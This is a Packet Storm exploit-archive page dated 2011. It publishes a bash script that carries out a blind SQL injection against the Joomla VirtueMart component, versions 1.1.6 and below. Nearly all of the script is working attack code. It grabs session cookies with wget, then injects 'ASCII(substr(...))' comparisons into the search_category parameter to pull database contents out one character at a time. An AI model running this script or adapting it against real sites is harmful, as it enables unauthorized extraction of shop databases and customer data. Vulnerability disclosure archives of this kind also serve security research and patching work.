exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Joomla VirtueMart 1.1.6 Blind SQL Injection

Joomla VirtueMart 1.1.6 Blind SQL Injection
Posted Jan 31, 2011
Authored by Andrea Fabrizi | Site andreafabrizi.it

Joomla VirtueMart component versions 1.1.6 and below suffer from a remote blind SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 11f7df2b0e1f362c8f25d13f54b57db8932ce64594cf7a77783f30ec49d40ac0

Joomla VirtueMart 1.1.6 Blind SQL Injection

Change Mirror Download
#!/bin/bash
#
# VirtueMart eCommerce for JOOMLA <= 1.1.6 BLIND SQL INJECTION EXPLOIT
# by Andrea Fabrizi
# http://www.andreafabrizi.it

#IMPORTANT: search_category must be the LAST parameter in the query string
URL="http://127.0.0.1/index.php?page=shop.browse&option=com_virtuemart&Itemid=1&keyword1=hand&search_op=and&&search_limiter=anywhere&search=Search&search_category=3"

#SQL query to enumerate
QUERY="select database()"

#String to match in the page when the query is valid (e.g. and 1=1)
TXT_CONTROL="Ladder"

CHARSET="a b c d e f g h i l m n o p q r s t u v z w y k j x 1 2 3 4 5 6 7 8 9 0 A B C D E F G H I L M N O P Q R S T U V Z W Y K J X . _ \! \: \/ \\ \#"

echo -ne "- Getting cookies... "
wget -O /dev/null --user-agent="null" --quiet --keep-session-cookies --save-cookies=/tmp/sqlcookie "$URL"
if [ $? -eq 0 ]; then
echo -e "OK\n- Starting enumeration...\n"
else
echo -e "Error!"
exit 1
fi

j=0
while (true); do
let j=$j+1
echo -e -n "$j) ";
found=0

for i in $CHARSET; do

echo -n "."
n=$(printf '%x' "'$i")
RES=$(wget -O - --user-agent="null" --quiet --load-cookies=/tmp/sqlcookie "$URL and ASCII(substr(($QUERY),$j,1))=0x$n -- " | grep "$TXT_CONTROL")

if [ "$RES" != "" ]; then
echo -e " -> $i"
found=1
RESULT="${RESULT}$i"
break;
fi;

done;

if [ $found -ne 1 ]; then
break;
fi

done;

echo -e "\n\n -> $RESULT\n"


Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    31 Files
  • 31
    Mar 31st
    15 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close